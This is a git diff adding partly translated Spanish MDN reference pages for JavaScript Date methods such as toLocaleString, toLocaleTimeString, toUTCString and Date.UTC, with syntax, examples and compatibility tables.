+<pre class="syntaxbox"><var>dateObj</var>.toLocaleDateString([<var>locales</var> [, <var>options</var>]])</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>Compruebe la sección de <a href="#Browser_compatibility">Compatibilidad con su navegador</a> para ver qué navegadores suportan los argumentos <code>locales</code> y <code>options</code>, y el Ejemplo: <a href="#Checking_for_support_for_locales_and_options_arguments">Comprobando el soporte para los argumentos locales y options</a> para detectar dicha característica.</p>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat', 'Parameters')}}</div>
+
+<p>El valor por defecto para cada propiedad del componente date-time es {{jsxref("undefined")}}, pero si las propiedades <code>weekday</code>, <code>year</code>, <code>month</code>, <code>day</code> son todas {{jsxref("undefined")}}, entonces <code>year</code>, <code>month</code>, y <code>day</code> se asumen tener el valor <code>"numeric"</code>.</p>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Una cadena representando una porción de fecha de la instancia {{jsxref("Global_Objects/Date", "Date")}} indicada de acuerdo con las convenciones específicas del lenguaje.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_toLocaleDateString">Usando <code>toLocaleDateString()</code></h3>
+
+<p>En un caso básico sin especificar una configuración regional, se devolverá una cadena formateada en la configuración regional y las opciones por defecto.</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 12, 3, 0, 0));
+
+// toLocaleDateString() sin argumentos dependientes de la implementación,
+// de la configuración regional por defecto y la zona horaria por defecto
+console.log(date.toLocaleDateString());
+// → "12/11/2012" si se ejecuta en una configuración regional en-US con zona horaria America/Los_Angeles
+</pre>
+
+<h3 id="Comprobando_el_soporte_para_los_argumentos_locales_y_options">Comprobando el soporte para los argumentos <code>locales</code> y <code>options</code></h3>
+
+<p>Los argumentos <code>locales</code> y <code>options</code> no son soportados aún por todos los navegadores. Para comprobar si una implementación los soporta, puede usar el requerimiento To check whether an implementation supports them already, you can use the requirement that illegal language tags are rejected with a {{jsxref("RangeError")}} exception:</p>
+
+<pre>function toLocaleDateStringSupportsLocales() {
+  try {
+    new Date().toLocaleDateString('i');
+  } catch (e) {
+    return e.name === 'RangeError';
+  }
+  return false;
+}
+
+Using <code>locales</code></pre>
+
+<h3 id="Usando_locales">Usando <code>locales</code></h3>
+
+<p>Este ejemplo muestra algunas de las variaciones en los formatos de configuración regional de las fechas. Para poder obtener el formato del idioma usado en la interfaz de usuario de su aplicación, asegúrese de especificar el idioma (y posiblemente algunos idiomas alternativos) usando el argumento <code>locales</code>:</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// Los formatos de abajo asumen la zona horaria local de la configuración regional;
+// America/Los_Angeles para US
+
+// El inglés de USA hace uso de orden mes-día-año
+console.log(date.toLocaleDateString('en-US'));
+// → "12/19/2012"
+
+// El inglés británico hace uso del orden día-mes-año
+console.log(date.toLocaleDateString('en-GB'));
+// → "20/12/2012"
+
+// El coreano hace uso del orden año-mes-día
+console.log(date.toLocaleDateString('ko-KR'));
+// → "2012. 12. 20."
+
+// Evento para persa. Es difícil convertir manualmente la fecha a Solar Hijri
+console.log(date.toLocaleDateString('fa-IR'));
+// → "۱۳۹۱/۹/۳۰"
+
+// El árave en la mayoría de paises arabehablantes hace uso de los dígitos árabes
+console.log(date.toLocaleDateString('ar-EG'));
+// → "<span dir="rtl">٢٠‏/١٢‏/٢٠١٢</span>"
+
+// Para el japonés, las aplicaciones quieren poder usar el calendario japonés,
+// donde 2012 era el año 24 de la era Heisei
+console.log(date.toLocaleDateString('ja-JP-u-ca-japanese'));
+// → "24/12/20"
+
+// Cuando solicite un idioma que no esté soportado, por ejemplo el balinés,
+// incluya un idioma alternativo, en este caso el indonesio
+console.log(date.toLocaleDateString(['ban', 'id']));
+// → "20/12/2012"
+</pre>
+
+<h3 id="Usando_options">Usando <code>options</code></h3>
+
+<p>Los resultados aportados por <code>toLocaleDateString()</code> pueden ser personalizados usando el argumento <code>options</code>:</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// Solicita el día de la semana junto a una fecha larga
+var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
+console.log(date.toLocaleDateString('de-DE', options));
+// → "Donnerstag, 20. Dezember 2012"
+
+// Una aplicación puede querer usar UTC y hacer que sea visible
+options.timeZone = 'UTC';
+options.timeZoneName = 'short';
+console.log(date.toLocaleDateString('en-US', options));
+// → "Thursday, December 20, 2012, GMT"
+</pre>
+
+<h2 id="Performance">Performance</h2>
+
+<p>Cuando se formatea números largos de fechas, es mejor crear un objeto {{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}} y usar la función aportada por esta propiedad {{jsxref("DateTimeFormat.prototype.format", "format")}}.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.tolocaledatestring', 'Date.prototype.toLocaleDateString')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sup-date.prototype.tolocaledatestring', 'Date.prototype.toLocaleDateString')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_el_navegador">Compatibilidad con el navegador</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada desde una estructura de datos. Si usted desea contribuir a los datos, por favor compruebe <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud de extracción (pull request).</p>
+
+<p>{{Compat("javascript.builtins.Date.toLocaleDateString")}}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/tolocalestring/index.html b/files/es/web/javascript/referencia/objetos_globales/date/tolocalestring/index.html
new file mode 100644
index 0000000000..77f48344d3
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/tolocalestring/index.html
@@ -0,0 +1,163 @@
+---
+title: Date.prototype.toLocaleString()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/toLocaleString
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleString
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>toLocaleString()</code></strong> devuelve un cadena con la representación al idioma de la fecha especificada. <span class="tlid-translation translation" lang="es"><span title="">Los nuevos argumentos </span></span> <code>locales</code> <span class="tlid-translation translation" lang="es"><span title="">y </span></span> <code>options</code> <span class="tlid-translation translation" lang="es"><span title=""> permiten a las aplicaciones especificar el idioma cuyas convenciones de formato deben usarse y personalizar el comportamiento de la función</span></span>. <span class="tlid-translation translation" lang="es"><span title="">En implementaciones anteriores, ignoran los argumentos de las configuraciones </span></span><code>locales</code><span class="tlid-translation translation" lang="es"><span title=""> y  </span></span><code>options</code> <span class="tlid-translation translation" lang="es"><span title=""> </span></span><span class="tlid-translation translation" lang="es"><span title="">, la configuración regional utilizada y la forma de la cadena devuelta dependen completamente de la implementación</span></span> .</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-tolocalestring.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.toLocaleString([<var>locales</var>[, <var>options</var>]])</pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<p>Los argumentos <code>locales</code> y de <code>options</code>  personalizan el comportamiento de la función y permiten que las aplicaciones especifiquen el lenguaje cuyas convenciones de formato deben ser utilizadas. En las implementaciones, que ignoran los argumentos, <code>locales</code> y <code>options</code>, el locale utilizado y la forma de la cadena devuelta dependen totalmente de la implementación.</p>
+
+<p>Vea el  <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat/DateTimeFormat">constructor</a> de <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat/DateTimeFormat"><code>Intl.DateTimeFormat()</code> </a> para detalles en esos parametros y como se usan.</p>
+
+<p>El valor por defecto para cada componente <code>date-time</code> es  {{jsxref("undefined")}}, pero si las propiedades <code>weekday</code>, <code>year</code>, <code>month</code>, <code>day</code> son todas {{jsxref("undefined")}}, entonces <code>year</code>, <code>month</code>, y <code>day</code> son asumidas como <code>"numeric"</code>.</p>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A string representing the given date according to language-specific conventions.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_toLocaleString">Using <code>toLocaleString()</code></h3>
+
+<p>In basic use without specifying a locale, a formatted string in the default locale and with default options is returned.</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 12, 3, 0, 0));
+
+// toLocaleString() without arguments depends on the implementation,
+// the default locale, and the default time zone
+console.log(date.toLocaleString());
+// → "12/11/2012, 7:00:00 PM" if run in en-US locale with time zone America/Los_Angeles
+</pre>
+
+<h3 id="Checking_for_support_for_locales_and_options_arguments">Checking for support for <code>locales</code> and <code>options</code> arguments</h3>
+
+<p>The <code>locales</code> and <code>options</code> arguments are not supported in all browsers yet. To check whether an implementation supports them already, you can use the requirement that illegal language tags are rejected with a {{jsxref("RangeError")}} exception:</p>
+
+<pre class="brush: js">function toLocaleStringSupportsLocales() {
+  try {
+    new Date().toLocaleString('i');
+  } catch (e) {
+    return e instanceof RangeError;
+  }
+  return false;
+}
+</pre>
+
+<h3 id="Using_locales">Using <code>locales</code></h3>
+
+<p>This example shows some of the variations in localized date and time formats. In order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the <code>locales</code> argument:</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// formats below assume the local time zone of the locale;
+// America/Los_Angeles for the US
+
+// US English uses month-day-year order and 12-hour time with AM/PM
+console.log(date.toLocaleString('en-US'));
+// → "12/19/2012, 7:00:00 PM"
+
+// British English uses day-month-year order and 24-hour time without AM/PM
+console.log(date.toLocaleString('en-GB'));
+// → "20/12/2012 03:00:00"
+
+// Korean uses year-month-day order and 12-hour time with AM/PM
+console.log(date.toLocaleString('ko-KR'));
+// → "2012. 12. 20. 오후 12:00:00"
+
+// Arabic in most Arabic speaking countries uses real Arabic digits
+console.log(date.toLocaleString('ar-EG'));
+// → "<span dir="rtl">٢٠‏/١٢‏/٢٠١٢ ٥:٠٠:٠٠ ص</span>"
+
+// for Japanese, applications may want to use the Japanese calendar,
+// where 2012 was the year 24 of the Heisei era
+console.log(date.toLocaleString('ja-JP-u-ca-japanese'));
+// → "24/12/20 12:00:00"
+
+// when requesting a language that may not be supported, such as
+// Balinese, include a fallback language, in this case Indonesian
+console.log(date.toLocaleString(['ban', 'id']));
+// → "20/12/2012 11.00.00"
+</pre>
+
+<h3 id="Using_options">Using <code>options</code></h3>
+
+<p>The results provided by <code>toLocaleString()</code> can be customized using the <code>options</code> argument:</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// request a weekday along with a long date
+var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
+console.log(date.toLocaleString('de-DE', options));
+// → "Donnerstag, 20. Dezember 2012"
+
+// an application may want to use UTC and make that visible
+options.timeZone = 'UTC';
+options.timeZoneName = 'short';
+console.log(date.toLocaleString('en-US', options));
+// → "Thursday, December 20, 2012, GMT"
+
+// sometimes even the US needs 24-hour time
+console.log(date.toLocaleString('en-US', { hour12: false }));
+// → "12/19/2012, 19:00:00"
+</pre>
+
+<h3 id="Avoid_comparing_formatted_date_values_to_static_values">Avoid comparing formatted date values to static values</h3>
+
+<p>Most of the time, the formatting returned by <code>toLocaleString()</code> is consistent. However, this might change in the future and isn't guaranteed for all languages — output variations are by design and allowed by the specification. Most notably, the IE and Edge browsers insert bidirectional control characters around dates, so the output text will flow properly when concatenated with other text.</p>
+
+<p>For this reason you cannot expect to be able to compare the results of <code>toLocaleString()</code> to a static value:</p>
+
+<pre class="brush: js; example-bad">"1/1/2019, 01:00:00" === new Date("2019-01-01T01:00:00Z").toLocaleString("en-US");
+// true in Firefox and others
+// false in IE and Edge</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: See also this <a href="https://stackoverflow.com/questions/25574963/ies-tolocalestring-has-strange-characters-in-results">StackOverflow thread</a> for more details and examples.</p>
+</div>
+
+<h2 id="Performance">Performance</h2>
+
+<p>When formatting large numbers of dates, it is better to create an {{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}} object and use the function provided by its {{jsxref("DateTimeFormat.prototype.format", "format")}} property.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.tolocalestring', 'Date.prototype.toLocaleString')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sup-date.prototype.tolocalestring', 'Date.prototype.toLocaleString')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.toLocaleString")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/tolocaletimestring/index.html b/files/es/web/javascript/referencia/objetos_globales/date/tolocaletimestring/index.html
new file mode 100644
index 0000000000..c3954096f6
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/tolocaletimestring/index.html
@@ -0,0 +1,152 @@
+---
+title: Date.prototype.toLocaleTimeString()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/toLocaleTimeString
+tags:
+  - Date
+  - Fecha
+  - Internacionalizacion
+  - JavaScript
+  - Method
+  - Prototype
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>toLocaleTimeString()</code></strong> devuelve una cadena con una representación de la parte del tiempo de esta fecha sensible al idioma. Los nuevos argumentos <code>locales</code> y <code>options</code> le permiten a la aplicación especificar el idioma cuyas convenciones de formato deben usarse y personalizan el comportamiento de esta función. En implementaciones antiguas que ignoran los argumentos <code>locales</code> y <code>options</code> la localidad usada y la forma de la cadena devuelta son completamente dependientes de la implementación.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-tolocaletimestring.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toLocaleTimeString([<var>locales[, </var><var>options</var>]])</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>Los argumentos <code>locales</code> y <code>options</code> personalizan el comportamiento de la función y le permiten a la aplicación especificar el idioma cuyas convenciones de formato deben usarse. En las implementaciones que ignoran los argumentos <code>locales</code> y <code>options</code>, la localidad y la forma de la cadena devuelta son dependientes por completo de la implementación.</p>
+
+<p>Vea el <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat/DateTimeFormat">constructor <code>Intl.DateTimeFormat()</code></a> para los detalles de estos parámetros y sobre cómo usarlos.</p>
+
+<p>El valor predeterminado de cada componente de fecha-hora es {{jsxref("undefined")}}, pero si las propiedades <code>weekday</code>, <code>year</code>, <code>month</code> y <code>day</code> son todas {{jsxref("undefined")}}, entonces <code>year</code>, <code>month</code> y <code>day</code> se asumen como <code>"numeric"</code>.</p>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Una cadena representando la porción de tiempo de la instancia {{jsxref("Global_Objects/Date", "Date")}} dada, conforme a las convenciones específicas del idioma.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_toLocaleTimeString">Usando <code>toLocaleTimeString()</code></h3>
+
+<p>En el uso básico sin especificar una localidad, una cadena con formato en la localidad y opciones predeterminadas es devuelta.</p>
+
+<pre class="brush: js">var fecha = new Date(Date.UTC(2012, 11, 12, 3, 0, 0));
+
+// toLocaleTimeString() sin argumentos depende de la implementación,
+// la localidad y la zona horaria predeterminadas
+console.log(date.toLocaleTimeString());
+// → "21:00:00" si se ejecuta en la localidad es-MX con la zona horaria America/Mexico_City
+</pre>
+
+<h3 id="Verificando_el_soporte_de_argumentos_locales_y_options">Verificando el soporte de argumentos <code>locales</code> y <code>options</code></h3>
+
+<p>Los argumentos <code>locales</code> y <code>options</code> aún no están soportados en todos los navegadores. Para verificar si alguna implementación ya los soporta, puede usar el requerimiento de que etiquetas inválidas son rechazadas con una excepción {{jsxref("RangeError")}}:</p>
+
+<pre class="brush: js">function toLocaleTimeStringSoportaLocales() {
+  try {
+    new Date().toLocaleTimeString('i');
+  } catch (e) {
+    return e​.name === 'RangeError';
+  }
+  return false;
+}
+</pre>
+
+<h3 id="Usando_locales">Usando <code>locales</code></h3>
+
+<p>Este ejemplo muestra una de las variaciones en formatos de tiempo localizados. Para obtener el formato del idioma usado en la interfaz de su aplicación, asegúrese de especificar ese idioma (y posiblemente algunos de <em>fallback</em>) usando el argumento <code>locales</code>:</p>
+
+<pre class="brush: js">var fecha = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// los siguientes formatos asumen la zona horaria de la localidad;
+// America/Los_Angeles para los EEUU
+
+// El inglés americano usa formato de 12 horas con AM/PM
+console.log(fecha.toLocaleTimeString('en-US'));
+// → "7:00:00 PM"
+
+// El inglés británico usa formato de 24 horas sin AM/PM
+console.log(date.toLocaleTimeString('en-GB'));
+// → "03:00:00"
+
+// El koreano usa formato de 12 horas con AM/PM
+console.log(date.toLocaleTimeString('ko-KR'));
+// → "오후 12:00:00"
+
+// En muchos países donde hablan árabe se usan dígitos árabes
+console.log(date.toLocaleTimeString('ar-EG'));
+// → "<span dir="rtl">٧:٠٠:٠٠ م</span>"
+
+// cuando se pide un idioma que puede no estar disponible, como
+// balinés, incluya un idioma de respaldo, como en este caso, indonesio
+console.log(date.toLocaleTimeString(['ban', 'id']));
+// → "11.00.00"
+</pre>
+
+<h3 id="Usando_options">Usando <code>options</code></h3>
+
+<p>Los resultados provistos por <code>toLocaleTimeString()</code> pueden ser personalizados usando el argumento <code>options</code>:</p>
+
+<pre class="brush: js">var fecha = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// una aplicación puede querer usar UTC y visibilizarlo:
+var options = { timeZone: 'UTC', timeZoneName: 'short' };
+console.log(date.toLocaleTimeString('en-US', options));
+// → "3:00:00 AM GMT"
+
+// algunas veces incluso en EEUU necesitan el tiempo en 24 horas
+console.log(date.toLocaleTimeString('en-US', { hour12: false }));
+// → "19:00:00"
+
+// mostrar únicamente horas y minutos, use options con la localidad predeterminada - usar un arreglo vacío
+console.log(date.toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' }));
+// → "20:01"
+
+</pre>
+
+<h2 id="Rendimiento">Rendimiento</h2>
+
+<p>Cuando se da formato a un gran número de fechas, es mejor crear un objeto {{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}} y usar su método {{jsxref("DateTimeFormat.prototype.format", "format")}}.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.tolocaletimestring', 'Date.prototype.toLocaleTimeString')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sup-date.prototype.tolocaletimestring', 'Date.prototype.toLocaleTimeString')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.toLocaleTimeString")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/toutcstring/index.html b/files/es/web/javascript/referencia/objetos_globales/date/toutcstring/index.html
new file mode 100644
index 0000000000..4742a6eacf
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/toutcstring/index.html
@@ -0,0 +1,105 @@
+---
+title: Date.prototype.toUTCString()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/toUTCString
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - UTC
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toUTCString
+---
+<div>{{JSRef}}</div>
+
+<p><code>El método</code><strong><code>toUTCString()</code></strong> convierte una fecha en una cadena, utilizando <span class="tlid-translation translation" lang="es"><span title="">la zona horaria UTC.</span></span></p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-toutcstring.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toUTCString()</code></pre>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Una cadena que representa la fecha dada usando la zona horaria UTC</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El valor devuelto por <code>toUTCString()</code> es una cadena con la forma</p>
+
+<p><code>Www, dd Mmm yyyy hh:mm:ss GMT</code></p>
+
+<p>donde:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Www</td>
+   <td>Día de la semana, como tres letras (ej. Sun, Mon, ...)</td>
+  </tr>
+  <tr>
+   <td>dd</td>
+   <td>Día del mes, como dos dígitos, con cero a la izquierda si es necesario.</td>
+  </tr>
+  <tr>
+   <td>Mmm</td>
+   <td>Mes, como tres letras (ej. Jan, Feb, ...)</td>
+  </tr>
+  <tr>
+   <td>yyyy</td>
+   <td>Año, como cuatro o más dígitos con cero a la izquierda si es necesario.</td>
+  </tr>
+  <tr>
+   <td>hh</td>
+   <td>Hora, como dos dígitos con cero a la izquierda si es necesario.</td>
+  </tr>
+  <tr>
+   <td>mm</td>
+   <td>Minutos, como dos dígitos con cero a la izquierda si es necesario.</td>
+  </tr>
+  <tr>
+   <td>ss</td>
+   <td>Segundos, como dos dígitos con cero a la izquierda si es necesario.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Antes de ECMAScript 2018, el formato del valor devuelto variaba según la plataforma. El valor devuelto más comun era un sello de fecha con formato RFC-1123, que es una versión ligeramente actualizada de los sellos de fecha RFC-822.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_toUTCString">Usando <code>toUTCString()</code></h3>
+
+<pre class="brush: js">var today = new Date('Wed, 14 Jun 2017 00:00:00 PDT');
+var UTCstring = today.toUTCString(); // Wed, 14 Jun 2017 07:00:00 GMT
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.toutcstring', 'Date.prototype.toUTCString')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.toUTCString")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toISOString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/utc/index.html b/files/es/web/javascript/referencia/objetos_globales/date/utc/index.html
new file mode 100644
index 0000000000..605ae2819d
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/utc/index.html
@@ -0,0 +1,78 @@
+---
+title: Date.UTC()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/UTC
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/UTC
+---
+<div>
+ {{JSRef("Objetos_globales", "Date")}}</div>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>Accepts the same parameters as the longest form of the constructor, and returns the number of milliseconds in a <code>Date</code> object since January 1, 1970, 00:00:00, universal time.</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<pre class="syntaxbox">Date.UTC(<em>año</em>,<em>mes</em>[, <em>dia</em>[, <em>hora</em>[, <em>minutos</em>[, <em>segundos</em>, <em>milisegundos</em>]]]])</pre>
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+<dl>
+ <dt>
+  <code>año</code></dt>
+ <dd>
+  Un año mayor de 1900.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>mes</code></dt>
+ <dd>
+  Un entero entre 0 y 11 que representa al mes.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>dia</code></dt>
+ <dd>
+  Un entero entre 1 y 31 que representa al día del mes.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>hora</code></dt>
+ <dd>
+  Un entero entre 0 y 23 que representa la hora.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>minutos</code></dt>
+ <dd>
+  Un entero entre 0 y 59 que representa los minutos.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>segundos</code></dt>
+ <dd>
+  Un entero entre 0 y 59 que representa los segundos.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>milisegundos</code></dt>
+ <dd>
+  Un entero entre 0 y 999 que representa los milisegundos.</dd>
+</dl>
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+<p><code>UTC</code> toma los parámetros de la fecha delimitados por punto y comay devuelve el número de milisegundos entre las 00:00:00 del 1 de enero de 1970 (hora universal) y la hora que especifique.</p>
+<p>Debería especificar los dígitos del año completo; por ejemplo, 1998. Si se especifica un año entre 0 y 99, el método convierte dicho año en uno del siglo XX (1900 + año); por ejemplo, si especifica 95, se usará el año 1995.</p>
+<p>El método <code>UTC</code> difiere del constructor de <code>Date</code> de dos modos.</p>
+<ul>
+ <li><code>Date.UTC</code> utiliza la fecha y hora universal en vez de la local.</li>
+ <li><code>Date.UTC</code> devuelve la fecha y hora como un número en vez de crear un objeto <code>Date</code>.</li>
+</ul>
+<p>Si especifica un parámetro fuera del rango esperado, el método <code>UTC</code> modifica los otros parámetros para tener en cuenta su número. Por ejemplo, si usa 15 para el mes, el año será incrementado en 1 (año + 1), y 3 se usará para el mes.</p>
+<p>Debido a que <code>UTC</code> es un método estático de <code>Date</code>, utilícelo siempre como <code>Date.UTC()</code>, en vez de como un método del objeto <code>Date</code> que usted cree.</p>
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+<h3 id="Ejemplo:_Usando_Date.UTC" name="Ejemplo:_Usando_Date.UTC">Ejemplo: Usando <code>Date.UTC</code></h3>
+<p>La sentencia siguiente crea un objeto <code>Date</code> usando GMT en vez de la hora local:</p>
+<pre class="brush: js">fechaGmt = new Date(Date.UTC(96, 11, 1, 0, 0, 0));
+</pre>
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+<ul>
+ <li>{{jsxref("Date.parse()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/decodeuri/index.html b/files/es/web/javascript/referencia/objetos_globales/decodeuri/index.html
new file mode 100644
index 0000000000..dc8264eebe
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/decodeuri/index.html
@@ -0,0 +1,38 @@
+---
+title: decodeURI()
+slug: Web/JavaScript/Referencia/Objetos_globales/decodeURI
+tags:
+  - JavaScript
+  - URI
+translation_of: Web/JavaScript/Reference/Global_Objects/decodeURI
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<h2 id="Summary" name="Summary">Sumario</h2>
+
+<p>Decodifica un Identificador de Recurso Uniforme (Uniform Resource Identifier, URI) previamente creado por {{jsxref("encodeURI")}} o por una rutina similar.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<p><code>decodeURI(<em>encodedURI</em>) </code></p>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
